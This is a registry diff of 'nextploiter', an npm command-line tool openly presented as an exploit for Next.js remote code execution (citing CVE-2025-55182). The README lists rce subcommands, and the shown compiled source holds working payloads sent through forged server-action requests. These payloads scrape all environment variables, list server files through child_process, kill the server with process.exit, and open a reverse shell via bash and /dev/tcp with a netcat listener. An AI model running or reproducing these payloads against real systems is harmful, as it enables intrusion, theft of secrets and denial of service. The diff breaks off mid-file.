nextploiter 0.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,459 @@
1
+ nextploiter
2
+ =================
3
+
4
+ Exploit tool for NextJS
5
+
6
+
7
+ [![oclif](https://img.shields.io/badge/cli-oclif-brightgreen.svg)](https://oclif.io)
8
+ [![Version](https://img.shields.io/npm/v/nextploiter.svg)](https://npmjs.org/package/nextploiter)
9
+ [![Downloads/week](https://img.shields.io/npm/dw/nextploiter.svg)](https://npmjs.org/package/nextploiter)
10
+
11
+
12
+ <!-- toc -->
13
+ * [Usage](#usage)
14
+ * [Commands](#commands)
15
+ <!-- tocstop -->
16
+ # Usage
17
+ <!-- usage -->
18
+ ```sh-session
19
+ $ npm install -g nextploiter
20
+ $ nextploiter COMMAND
21
+ running command...
22
+ $ nextploiter (--version)
23
+ nextploiter/0.0.0 darwin-arm64 node-v24.12.0
24
+ $ nextploiter --help [COMMAND]
25
+ USAGE
26
+ $ nextploiter COMMAND
27
+ ...
28
+ ```
29
+ <!-- usagestop -->
30
+ # Commands
31
+ <!-- commands -->
32
+ * [`nextploiter help [COMMAND]`](#nextploiter-help-command)
33
+ * [`nextploiter plugins`](#nextploiter-plugins)
34
+ * [`nextploiter plugins add PLUGIN`](#nextploiter-plugins-add-plugin)
35
+ * [`nextploiter plugins:inspect PLUGIN...`](#nextploiter-pluginsinspect-plugin)
36
+ * [`nextploiter plugins install PLUGIN`](#nextploiter-plugins-install-plugin)
37
+ * [`nextploiter plugins link PATH`](#nextploiter-plugins-link-path)
38
+ * [`nextploiter plugins remove [PLUGIN]`](#nextploiter-plugins-remove-plugin)
39
+ * [`nextploiter plugins reset`](#nextploiter-plugins-reset)
40
+ * [`nextploiter plugins uninstall [PLUGIN]`](#nextploiter-plugins-uninstall-plugin)
41
+ * [`nextploiter plugins unlink [PLUGIN]`](#nextploiter-plugins-unlink-plugin)
42
+ * [`nextploiter plugins update`](#nextploiter-plugins-update)
43
+ * [`nextploiter rce`](#nextploiter-rce)
44
+ * [`nextploiter rce access-files`](#nextploiter-rce-access-files)
45
+ * [`nextploiter rce kill-server`](#nextploiter-rce-kill-server)
46
+ * [`nextploiter rce list-env`](#nextploiter-rce-list-env)
47
+ * [`nextploiter rce list-files`](#nextploiter-rce-list-files)
48
+ * [`nextploiter rce spawn-terminal`](#nextploiter-rce-spawn-terminal)
49
+
50
+ ## `nextploiter help [COMMAND]`
51
+
52
+ Display help for nextploiter.
53
+
54
+ ```
55
+ USAGE
56
+ $ nextploiter help [COMMAND...] [-n]
57
+
58
+ ARGUMENTS
59
+ [COMMAND...] Command to show help for.
60
+
61
+ FLAGS
62
+ -n, --nested-commands Include all nested commands in the output.
63
+
64
+ DESCRIPTION
65
+ Display help for nextploiter.
66
+ ```
67
+
68
+ _See code: [@oclif/plugin-help](https://github.com/oclif/plugin-help/blob/v6.2.36/src/commands/help.ts)_
69
+
70
+ ## `nextploiter plugins`
71
+
72
+ List installed plugins.
73
+
74
+ ```
75
+ USAGE
76
+ $ nextploiter plugins [--json] [--core]
77
+
78
+ FLAGS
79
+ --core Show core plugins.
80
+
81
+ GLOBAL FLAGS
82
+ --json Format output as json.
83
+
84
+ DESCRIPTION
85
+ List installed plugins.
86
+
87
+ EXAMPLES
88
+ $ nextploiter plugins
89
+ ```
90
+
91
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/index.ts)_
92
+
93
+ ## `nextploiter plugins add PLUGIN`
94
+
95
+ Installs a plugin into nextploiter.
96
+
97
+ ```
98
+ USAGE
99
+ $ nextploiter plugins add PLUGIN... [--json] [-f] [-h] [-s | -v]
100
+
101
+ ARGUMENTS
102
+ PLUGIN... Plugin to install.
103
+
104
+ FLAGS
105
+ -f, --force Force npm to fetch remote resources even if a local copy exists on disk.
106
+ -h, --help Show CLI help.
107
+ -s, --silent Silences npm output.
108
+ -v, --verbose Show verbose npm output.
109
+
110
+ GLOBAL FLAGS
111
+ --json Format output as json.
112
+
113
+ DESCRIPTION
114
+ Installs a plugin into nextploiter.
115
+
116
+ Uses npm to install plugins.
117
+
118
+ Installation of a user-installed plugin will override a core plugin.
119
+
120
+ Use the NEXTPLOITER_NPM_LOG_LEVEL environment variable to set the npm loglevel.
121
+ Use the NEXTPLOITER_NPM_REGISTRY environment variable to set the npm registry.
122
+
123
+ ALIASES
124
+ $ nextploiter plugins add
125
+
126
+ EXAMPLES
127
+ Install a plugin from npm registry.
128
+
129
+ $ nextploiter plugins add myplugin
130
+
131
+ Install a plugin from a github url.
132
+
133
+ $ nextploiter plugins add https://github.com/someuser/someplugin
134
+
135
+ Install a plugin from a github slug.
136
+
137
+ $ nextploiter plugins add someuser/someplugin
138
+ ```
139
+
140
+ ## `nextploiter plugins:inspect PLUGIN...`
141
+
142
+ Displays installation properties of a plugin.
143
+
144
+ ```
145
+ USAGE
146
+ $ nextploiter plugins inspect PLUGIN...
147
+
148
+ ARGUMENTS
149
+ PLUGIN... [default: .] Plugin to inspect.
150
+
151
+ FLAGS
152
+ -h, --help Show CLI help.
153
+ -v, --verbose
154
+
155
+ GLOBAL FLAGS
156
+ --json Format output as json.
157
+
158
+ DESCRIPTION
159
+ Displays installation properties of a plugin.
160
+
161
+ EXAMPLES
162
+ $ nextploiter plugins inspect myplugin
163
+ ```
164
+
165
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/inspect.ts)_
166
+
167
+ ## `nextploiter plugins install PLUGIN`
168
+
169
+ Installs a plugin into nextploiter.
170
+
171
+ ```
172
+ USAGE
173
+ $ nextploiter plugins install PLUGIN... [--json] [-f] [-h] [-s | -v]
174
+
175
+ ARGUMENTS
176
+ PLUGIN... Plugin to install.
177
+
178
+ FLAGS
179
+ -f, --force Force npm to fetch remote resources even if a local copy exists on disk.
180
+ -h, --help Show CLI help.
181
+ -s, --silent Silences npm output.
182
+ -v, --verbose Show verbose npm output.
183
+
184
+ GLOBAL FLAGS
185
+ --json Format output as json.
186
+
187
+ DESCRIPTION
188
+ Installs a plugin into nextploiter.
189
+
190
+ Uses npm to install plugins.
191
+
192
+ Installation of a user-installed plugin will override a core plugin.
193
+
194
+ Use the NEXTPLOITER_NPM_LOG_LEVEL environment variable to set the npm loglevel.
195
+ Use the NEXTPLOITER_NPM_REGISTRY environment variable to set the npm registry.
196
+
197
+ ALIASES
198
+ $ nextploiter plugins add
199
+
200
+ EXAMPLES
201
+ Install a plugin from npm registry.
202
+
203
+ $ nextploiter plugins install myplugin
204
+
205
+ Install a plugin from a github url.
206
+
207
+ $ nextploiter plugins install https://github.com/someuser/someplugin
208
+
209
+ Install a plugin from a github slug.
210
+
211
+ $ nextploiter plugins install someuser/someplugin
212
+ ```
213
+
214
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/install.ts)_
215
+
216
+ ## `nextploiter plugins link PATH`
217
+
218
+ Links a plugin into the CLI for development.
219
+
220
+ ```
221
+ USAGE
222
+ $ nextploiter plugins link PATH [-h] [--install] [-v]
223
+
224
+ ARGUMENTS
225
+ PATH [default: .] path to plugin
226
+
227
+ FLAGS
228
+ -h, --help Show CLI help.
229
+ -v, --verbose
230
+ --[no-]install Install dependencies after linking the plugin.
231
+
232
+ DESCRIPTION
233
+ Links a plugin into the CLI for development.
234
+
235
+ Installation of a linked plugin will override a user-installed or core plugin.
236
+
237
+ e.g. If you have a user-installed or core plugin that has a 'hello' command, installing a linked plugin with a 'hello'
238
+ command will override the user-installed or core plugin implementation. This is useful for development work.
239
+
240
+
241
+ EXAMPLES
242
+ $ nextploiter plugins link myplugin
243
+ ```
244
+
245
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/link.ts)_
246
+
247
+ ## `nextploiter plugins remove [PLUGIN]`
248
+
249
+ Removes a plugin from the CLI.
250
+
251
+ ```
252
+ USAGE
253
+ $ nextploiter plugins remove [PLUGIN...] [-h] [-v]
254
+
255
+ ARGUMENTS
256
+ [PLUGIN...] plugin to uninstall
257
+
258
+ FLAGS
259
+ -h, --help Show CLI help.
260
+ -v, --verbose
261
+
262
+ DESCRIPTION
263
+ Removes a plugin from the CLI.
264
+
265
+ ALIASES
266
+ $ nextploiter plugins unlink
267
+ $ nextploiter plugins remove
268
+
269
+ EXAMPLES
270
+ $ nextploiter plugins remove myplugin
271
+ ```
272
+
273
+ ## `nextploiter plugins reset`
274
+
275
+ Remove all user-installed and linked plugins.
276
+
277
+ ```
278
+ USAGE
279
+ $ nextploiter plugins reset [--hard] [--reinstall]
280
+
281
+ FLAGS
282
+ --hard Delete node_modules and package manager related files in addition to uninstalling plugins.
283
+ --reinstall Reinstall all plugins after uninstalling.
284
+ ```
285
+
286
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/reset.ts)_
287
+
288
+ ## `nextploiter plugins uninstall [PLUGIN]`
289
+
290
+ Removes a plugin from the CLI.
291
+
292
+ ```
293
+ USAGE
294
+ $ nextploiter plugins uninstall [PLUGIN...] [-h] [-v]
295
+
296
+ ARGUMENTS
297
+ [PLUGIN...] plugin to uninstall
298
+
299
+ FLAGS
300
+ -h, --help Show CLI help.
301
+ -v, --verbose
302
+
303
+ DESCRIPTION
304
+ Removes a plugin from the CLI.
305
+
306
+ ALIASES
307
+ $ nextploiter plugins unlink
308
+ $ nextploiter plugins remove
309
+
310
+ EXAMPLES
311
+ $ nextploiter plugins uninstall myplugin
312
+ ```
313
+
314
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/uninstall.ts)_
315
+
316
+ ## `nextploiter plugins unlink [PLUGIN]`
317
+
318
+ Removes a plugin from the CLI.
319
+
320
+ ```
321
+ USAGE
322
+ $ nextploiter plugins unlink [PLUGIN...] [-h] [-v]
323
+
324
+ ARGUMENTS
325
+ [PLUGIN...] plugin to uninstall
326
+
327
+ FLAGS
328
+ -h, --help Show CLI help.
329
+ -v, --verbose
330
+
331
+ DESCRIPTION
332
+ Removes a plugin from the CLI.
333
+
334
+ ALIASES
335
+ $ nextploiter plugins unlink
336
+ $ nextploiter plugins remove
337
+
338
+ EXAMPLES
339
+ $ nextploiter plugins unlink myplugin
340
+ ```
341
+
342
+ ## `nextploiter plugins update`
343
+
344
+ Update installed plugins.
345
+
346
+ ```
347
+ USAGE
348
+ $ nextploiter plugins update [-h] [-v]
349
+
350
+ FLAGS
351
+ -h, --help Show CLI help.
352
+ -v, --verbose
353
+
354
+ DESCRIPTION
355
+ Update installed plugins.
356
+ ```
357
+
358
+ _See code: [@oclif/plugin-plugins](https://github.com/oclif/plugin-plugins/blob/v5.4.54/src/commands/plugins/update.ts)_
359
+
360
+ ## `nextploiter rce`
361
+
362
+ Used for running javascript code at the remote server.
363
+
364
+ ```
365
+ USAGE
366
+ $ nextploiter rce
367
+
368
+ DESCRIPTION
369
+ Used for running javascript code at the remote server.
370
+ ```
371
+
372
+ _See code: [src/commands/rce/index.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/index.ts)_
373
+
374
+ ## `nextploiter rce access-files`
375
+
376
+ Helper to list return files in the server. May not work for serverless systems.
377
+
378
+ ```
379
+ USAGE
380
+ $ nextploiter rce access-files --baseURL <value>
381
+
382
+ FLAGS
383
+ --baseURL=<value> (required)
384
+
385
+ DESCRIPTION
386
+ Helper to list return files in the server. May not work for serverless systems.
387
+ ```
388
+
389
+ _See code: [src/commands/rce/access-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/access-files.ts)_
390
+
391
+ ## `nextploiter rce kill-server`
392
+
393
+ Helper that uses process.exit to shutdown remote server.
394
+
395
+ ```
396
+ USAGE
397
+ $ nextploiter rce kill-server --baseURL <value>
398
+
399
+ FLAGS
400
+ --baseURL=<value> (required)
401
+
402
+ DESCRIPTION
403
+ Helper that uses process.exit to shutdown remote server.
404
+ ```
405
+
406
+ _See code: [src/commands/rce/kill-server.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/kill-server.ts)_
407
+
408
+ ## `nextploiter rce list-env`
409
+
410
+ Helper that iterates through process.env to scrape all environment variables.
411
+
412
+ ```
413
+ USAGE
414
+ $ nextploiter rce list-env --baseURL <value>
415
+
416
+ FLAGS
417
+ --baseURL=<value> (required)
418
+
419
+ DESCRIPTION
420
+ Helper that iterates through process.env to scrape all environment variables.
421
+ ```
422
+
423
+ _See code: [src/commands/rce/list-env.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/list-env.ts)_
424
+
425
+ ## `nextploiter rce list-files`
426
+
427
+ Helper to list all files in the server. May not work for serverless systems.
428
+
429
+ ```
430
+ USAGE
431
+ $ nextploiter rce list-files --baseURL <value> [--dir <value>]
432
+
433
+ FLAGS
434
+ --baseURL=<value> (required) Base URL of server to attack
435
+ --dir=<value> [default: .] Directory for ls command
436
+
437
+ DESCRIPTION
438
+ Helper to list all files in the server. May not work for serverless systems.
439
+ ```
440
+
441
+ _See code: [src/commands/rce/list-files.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/list-files.ts)_
442
+
443
+ ## `nextploiter rce spawn-terminal`
444
+
445
+ Helper that spawns a terminal.
446
+
447
+ ```
448
+ USAGE
449
+ $ nextploiter rce spawn-terminal --baseURL <value>
450
+
451
+ FLAGS
452
+ --baseURL=<value> (required)
453
+
454
+ DESCRIPTION
455
+ Helper that spawns a terminal.
456
+ ```
457
+
458
+ _See code: [src/commands/rce/spawn-terminal.ts](https://github.com/vonuyvicoo/nextploiter/blob/v0.0.0/src/commands/rce/spawn-terminal.ts)_
459
+ <!-- commandsstop -->
package/bin/dev.cmd ADDED
@@ -0,0 +1,3 @@
1
+ @echo off
2
+
3
+ node "%~dp0\dev" %*
package/bin/dev.js ADDED
@@ -0,0 +1,7 @@
1
+ #!/usr/bin/env node_modules/.bin/ts-node
2
+
3
+ // eslint-disable-next-line unicorn/prefer-top-level-await
4
+ ;(async () => {
5
+ const oclif = await import('@oclif/core')
6
+ await oclif.execute({development: true, dir: __dirname})
7
+ })()
package/bin/run.cmd ADDED
@@ -0,0 +1,3 @@
1
+ @echo off
2
+
3
+ node "%~dp0\run" %*
package/bin/run.js ADDED
@@ -0,0 +1,7 @@
1
+ #!/usr/bin/env node
2
+
3
+ // eslint-disable-next-line unicorn/prefer-top-level-await
4
+ (async () => {
5
+ const oclif = await import('@oclif/core')
6
+ await oclif.execute({dir: __dirname})
7
+ })()
@@ -0,0 +1 @@
1
+ export declare function parseFlightDigest(input: string): string | null;
@@ -0,0 +1,19 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.parseFlightDigest = parseFlightDigest;
4
+ function parseFlightDigest(input) {
5
+ for (const line of input.split(/\r?\n/)) {
6
+ const i = line.indexOf(':');
7
+ if (i === -1)
8
+ continue;
9
+ const payload = line.slice(i + 1);
10
+ if (!payload.startsWith('E{'))
11
+ continue;
12
+ try {
13
+ const err = JSON.parse(payload.slice(1));
14
+ return err.digest ?? null;
15
+ }
16
+ catch { }
17
+ }
18
+ return null;
19
+ }
@@ -0,0 +1 @@
1
+ export declare function openTerminal(cmd: string): void;
@@ -0,0 +1,35 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.openTerminal = openTerminal;
4
+ const node_child_process_1 = require("node:child_process");
5
+ function openTerminal(cmd) {
6
+ const platform = process.platform;
7
+ if (platform === "darwin") {
8
+ // terminal macos
9
+ (0, node_child_process_1.execSync)(`osascript -e 'tell application "Terminal" to do script "${cmd.replace(/"/g, '\\"')}"'`);
10
+ return;
11
+ }
12
+ if (platform === "win32") {
13
+ // windows cmd
14
+ (0, node_child_process_1.execSync)(`start cmd.exe /k ${cmd}`, { shell: "cmd.exe" });
15
+ return;
16
+ }
17
+ //linux brute force
18
+ const terminals = [
19
+ `x-terminal-emulator -e "bash -c '${cmd}; exec bash'"`,
20
+ `gnome-terminal -- bash -c "${cmd}; exec bash"`,
21
+ `konsole -e bash -c "${cmd}; exec bash"`,
22
+ `xfce4-terminal -e "${cmd}"`,
23
+ `xterm -e "${cmd}"`,
24
+ ];
25
+ for (const t of terminals) {
26
+ try {
27
+ (0, node_child_process_1.execSync)(t, { stdio: "ignore" });
28
+ return; // success
29
+ }
30
+ catch {
31
+ // try next terminal
32
+ }
33
+ }
34
+ throw new Error("No supported terminal emulator found");
35
+ }
@@ -0,0 +1,11 @@
1
+ import { Command } from "@oclif/core";
2
+ export interface INextploiterCommandItem {
3
+ name: string;
4
+ value: string;
5
+ }
6
+ export interface INextploiterCommandOptions {
7
+ color?: string;
8
+ }
9
+ export declare abstract class NextploiterCommand extends Command {
10
+ logSection(name: string, items: INextploiterCommandItem[], options?: INextploiterCommandOptions): void;
11
+ }
@@ -0,0 +1,16 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.NextploiterCommand = void 0;
4
+ const core_1 = require("@oclif/core");
5
+ class NextploiterCommand extends core_1.Command {
6
+ logSection(name, items, options) {
7
+ let logString = "";
8
+ logString += `---------------------- [${name}] ---------------------------\n`;
9
+ items.forEach((item) => {
10
+ logString += `${item.name}: ${item.value} \n`;
11
+ });
12
+ logString += `-------------------------------------------------------------\n`;
13
+ super.log(logString);
14
+ }
15
+ }
16
+ exports.NextploiterCommand = NextploiterCommand;
@@ -0,0 +1,8 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ export default class AccessFiles extends NextploiterCommand {
3
+ static description: string;
4
+ static flags: {
5
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
6
+ };
7
+ run(): Promise<void>;
8
+ }
@@ -0,0 +1,51 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const digestParser_1 = require("../../_shared/helpers/digestParser");
11
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
12
+ class AccessFiles extends nextploiter_command_1.NextploiterCommand {
13
+ static description = "Helper to list return files in the server. May not work for serverless systems.";
14
+ static flags = {
15
+ baseURL: core_1.Flags.string({
16
+ required: true
17
+ })
18
+ };
19
+ async run() {
20
+ const { flags } = await this.parse(AccessFiles);
21
+ const payload = (0, payloads_1.payloadBuilder)(`var res = "";for (const key of Object.keys(process.env)) {res += (key + "<sep> " + process.env[key] + "\\n" );};`);
22
+ const fd = new form_data_1.default();
23
+ this.log("Sending payload: ", payload);
24
+ for (const key in payload) {
25
+ fd.append(key, JSON.stringify(payload[key]));
26
+ }
27
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
28
+ method: "POST",
29
+ headers: {
30
+ 'next-action': 'x',
31
+ ...fd.getHeaders()
32
+ },
33
+ body: fd.getBuffer(),
34
+ });
35
+ const responseText = await response.text();
36
+ const parsedDigest = (0, digestParser_1.parseFlightDigest)(responseText);
37
+ if (!parsedDigest)
38
+ throw new Error("No digest found.");
39
+ const parsedItems = parsedDigest.split("\n").map((line) => {
40
+ const envItems = line.split("<sep>");
41
+ const envKey = envItems[0];
42
+ const envValue = envItems[1];
43
+ return {
44
+ name: envKey,
45
+ value: envValue
46
+ };
47
+ });
48
+ this.logSection("Environment Variables", parsedItems);
49
+ }
50
+ }
51
+ exports.default = AccessFiles;
@@ -0,0 +1,5 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ export default class RCE extends NextploiterCommand {
3
+ static description: string;
4
+ run(): Promise<void>;
5
+ }
@@ -0,0 +1,11 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
4
+ class RCE extends nextploiter_command_1.NextploiterCommand {
5
+ static description = "Used for running javascript code at the remote server.";
6
+ async run() {
7
+ this.log("Please select a sub-command.");
8
+ this.exit(1);
9
+ }
10
+ }
11
+ exports.default = RCE;
@@ -0,0 +1,10 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ import { CommandError } from "@oclif/core/lib/interfaces";
3
+ export default class KillServer extends NextploiterCommand {
4
+ static description: string;
5
+ static flags: {
6
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
7
+ };
8
+ run(): Promise<void>;
9
+ catch(err: CommandError): Promise<void>;
10
+ }
@@ -0,0 +1,47 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
11
+ class KillServer extends nextploiter_command_1.NextploiterCommand {
12
+ static description = "Helper that uses process.exit to shutdown remote server.";
13
+ static flags = {
14
+ baseURL: core_1.Flags.string({
15
+ required: true
16
+ })
17
+ };
18
+ async run() {
19
+ const { flags } = await this.parse(KillServer);
20
+ const payload = (0, payloads_1.payloadBuilder)(`process.exit(0);`);
21
+ const fd = new form_data_1.default();
22
+ this.log("Sending payload: ", payload);
23
+ for (const key in payload) {
24
+ fd.append(key, JSON.stringify(payload[key]));
25
+ }
26
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
27
+ method: "POST",
28
+ headers: {
29
+ 'next-action': 'x',
30
+ ...fd.getHeaders()
31
+ },
32
+ body: fd.getBuffer(),
33
+ });
34
+ if (!response.ok) {
35
+ this.log(response.statusText);
36
+ }
37
+ }
38
+ async catch(err) {
39
+ if (err.message.includes("socket hang up")) {
40
+ this.log("Server shut down successfully.");
41
+ }
42
+ else {
43
+ this.log("Server is not vulnerable to CVE-2025-55182.");
44
+ }
45
+ }
46
+ }
47
+ exports.default = KillServer;
@@ -0,0 +1,8 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ export default class ListEnv extends NextploiterCommand {
3
+ static description: string;
4
+ static flags: {
5
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
6
+ };
7
+ run(): Promise<void>;
8
+ }
@@ -0,0 +1,51 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const digestParser_1 = require("../../_shared/helpers/digestParser");
11
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
12
+ class ListEnv extends nextploiter_command_1.NextploiterCommand {
13
+ static description = "Helper that iterates through process.env to scrape all environment variables.";
14
+ static flags = {
15
+ baseURL: core_1.Flags.string({
16
+ required: true
17
+ })
18
+ };
19
+ async run() {
20
+ const { flags } = await this.parse(ListEnv);
21
+ const payload = (0, payloads_1.payloadBuilder)(`var res = "";for (const key of Object.keys(process.env)) {res += (key + "<sep> " + process.env[key] + "\\n" );};`);
22
+ const fd = new form_data_1.default();
23
+ this.log("Sending payload: ", payload);
24
+ for (const key in payload) {
25
+ fd.append(key, JSON.stringify(payload[key]));
26
+ }
27
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
28
+ method: "POST",
29
+ headers: {
30
+ 'next-action': 'x',
31
+ ...fd.getHeaders()
32
+ },
33
+ body: fd.getBuffer(),
34
+ });
35
+ const responseText = await response.text();
36
+ const parsedDigest = (0, digestParser_1.parseFlightDigest)(responseText);
37
+ if (!parsedDigest)
38
+ throw new Error("No digest found.");
39
+ const parsedItems = parsedDigest.split("\n").map((line) => {
40
+ const envItems = line.split("<sep>");
41
+ const envKey = envItems[0];
42
+ const envValue = envItems[1];
43
+ return {
44
+ name: envKey,
45
+ value: envValue
46
+ };
47
+ });
48
+ this.logSection("Environment Variables", parsedItems);
49
+ }
50
+ }
51
+ exports.default = ListEnv;
@@ -0,0 +1,9 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ export default class ListFiles extends NextploiterCommand {
3
+ static description: string;
4
+ static flags: {
5
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
6
+ dir: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
7
+ };
8
+ run(): Promise<void>;
9
+ }
@@ -0,0 +1,53 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const digestParser_1 = require("../../_shared/helpers/digestParser");
11
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
12
+ class ListFiles extends nextploiter_command_1.NextploiterCommand {
13
+ static description = "Helper to list all files in the server. May not work for serverless systems.";
14
+ static flags = {
15
+ baseURL: core_1.Flags.string({
16
+ required: true,
17
+ description: "Base URL of server to attack"
18
+ }),
19
+ dir: core_1.Flags.string({
20
+ default: ".",
21
+ description: "Directory for ls command"
22
+ })
23
+ };
24
+ async run() {
25
+ const { flags } = await this.parse(ListFiles);
26
+ const payload = (0, payloads_1.payloadBuilder)(`const {execSync} = process.mainModule.require("child_process"); var res = execSync("ls ${flags.dir}").toString();`);
27
+ const fd = new form_data_1.default();
28
+ this.log("Sending payload: ", payload);
29
+ for (const key in payload) {
30
+ fd.append(key, JSON.stringify(payload[key]));
31
+ }
32
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
33
+ method: "POST",
34
+ headers: {
35
+ 'next-action': 'x',
36
+ ...fd.getHeaders()
37
+ },
38
+ body: fd.getBuffer(),
39
+ });
40
+ const responseText = await response.text();
41
+ const parsedDigest = (0, digestParser_1.parseFlightDigest)(responseText);
42
+ if (!parsedDigest)
43
+ throw new Error("No digest found.");
44
+ const parsedItems = parsedDigest.split("\n").map((line) => {
45
+ return {
46
+ name: "File: ",
47
+ value: line
48
+ };
49
+ });
50
+ this.logSection("Files Found", parsedItems);
51
+ }
52
+ }
53
+ exports.default = ListFiles;
@@ -0,0 +1,8 @@
1
+ import { NextploiterCommand } from "../../base/nextploiter-command";
2
+ export default class ListEnv extends NextploiterCommand {
3
+ static description: string;
4
+ static flags: {
5
+ baseURL: import("@oclif/core/lib/interfaces").OptionFlag<string, import("@oclif/core/lib/interfaces").CustomOptions>;
6
+ };
7
+ run(): Promise<void>;
8
+ }
@@ -0,0 +1,60 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ const core_1 = require("@oclif/core");
7
+ const payloads_1 = require("../../payloads");
8
+ const form_data_1 = __importDefault(require("form-data"));
9
+ const node_fetch_1 = __importDefault(require("node-fetch"));
10
+ const digestParser_1 = require("../../_shared/helpers/digestParser");
11
+ const nextploiter_command_1 = require("../../base/nextploiter-command");
12
+ const openTerminal_1 = require("../../_shared/helpers/openTerminal");
13
+ class ListEnv extends nextploiter_command_1.NextploiterCommand {
14
+ static description = "Helper that spawns a terminal.";
15
+ static flags = {
16
+ baseURL: core_1.Flags.string({
17
+ required: true
18
+ })
19
+ };
20
+ /*
21
+ async establishProxy(){
22
+ const proxy = proxy.createProxy()
23
+
24
+ return proxy;
25
+ }
26
+ */
27
+ async run() {
28
+ const { flags } = await this.parse(ListEnv);
29
+ const payload = (0, payloads_1.payloadBuilder)(`var res = "Successfully connected."; process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/127.0.0.1/4444 0>&1");`);
30
+ const fd = new form_data_1.default();
31
+ this.log("Opening terminal in new window..");
32
+ (0, openTerminal_1.openTerminal)("nc -l 4444");
33
+ this.log("Waiting 4 seconds to finish...");
34
+ await new Promise((r) => setTimeout(r, 4000));
35
+ this.log("Sending payload: ", payload);
36
+ for (const key in payload) {
37
+ fd.append(key, JSON.stringify(payload[key]));
38
+ }
39
+ const response = await (0, node_fetch_1.default)(flags.baseURL, {
40
+ method: "POST",
41
+ headers: {
42
+ 'next-action': 'x',
43
+ ...fd.getHeaders()
44
+ },
45
+ body: fd.getBuffer(),
46
+ });
47
+ const responseText = await response.text();
48
+ const parsedDigest = (0, digestParser_1.parseFlightDigest)(responseText);
49
+ if (!parsedDigest)
50
+ throw new Error("No digest found.");
51
+ const parsedItems = parsedDigest.split("\n").map((line) => {
52
+ return {
53
+ name: "message",
54
+ value: line
55
+ };
56
+ });
57
+ this.logSection("Terminal Spawn Status", parsedItems);
58
+ }
59
